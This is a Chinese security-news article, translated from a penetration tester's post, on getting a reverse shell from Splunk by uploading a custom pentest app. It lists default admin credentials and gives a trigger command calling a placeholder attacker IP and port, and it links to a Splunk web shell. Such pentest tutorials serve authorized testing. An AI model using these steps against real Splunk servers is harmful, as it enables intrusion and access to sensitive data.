freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

在Splunk上安装自定义应用反弹Shell的方法
2018-11-03 13:00:54

前言

每次测试时我都会碰到Splunk。Splunk是一个用于搜索,分析和可视化数据的软件平台。通常,Splunk中都会包含着各种数据,其中一些可能是较为敏感的数据。因此,对于渗透测试人员而言它的价值不言而喻。

想要获得对Splunk的访问权限,可以通过猜密码或重用之前获取到的密码尝试登录。曾经,我有过使用“admin:admin”或“admin:changeme”登录进入管理控制台的情况。

Splunk app

有一个技巧我相信很多人都不知道,就是使用Splunk app来执行python代码。TBG Security团队开发了一款可用于渗透测试的Splunk app。该应用早在2017年就已经推出。尽管如此,我觉得还是很少有人知道这个工具,我觉得它应该受到更多人的关注。

工具的使用非常简单。首先,你只需从Splunk Shells GitHub页面下载其最新版本。

登录Splunk管理控制台后,依次单击“App”栏和“Manage Apps”。

Manage Apps

进入Apps面板后,单击“Install app from file”。

Install app from file

单击browse按钮并上传tar.gz文件。

上传tar.gz文件

应用成功上传后,必须重启Splunk。重启后登录Splunk,并返回到“Apps”界面。单击permissions,当你看到“Sharing”选项时,单击“All Apps”单选按钮。

单击“All Apps”单选按钮

安装app后,最后要做的就是获取shell。这里会有一些选项,我选择的是通过Metasploit创建的标准反向shell。

标准反向shell

MSF handler(或netcat listener)启动并运行后,键入以下命令触发app:

| revshell SHELLTYPE ATTACKERIP ATTACKERPORT

获取到一个反向shell。

这将立即执行app,并获取到一个反向shell。

以上测试是在Splunk 7.0上进行的,一切都非常的顺利!Splunk通常以root身份运行,这为攻击者提供了枚举主机其他信息的机会,而不仅仅是局限在数据库范围。

更新:

除了以上方法,你还可以使用Tevora的splunk_pentest_app,更多内容可以参阅他们发布的文章

再次更新(10/20/2018):

我发现了一个可用的Splunk web shell:https://github.com/f8al/TA-Shell

*参考来源:n00py,FB小编secist编译,转载请注明来自FreeBuf.COM

# 反弹shell # SPLUNK
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者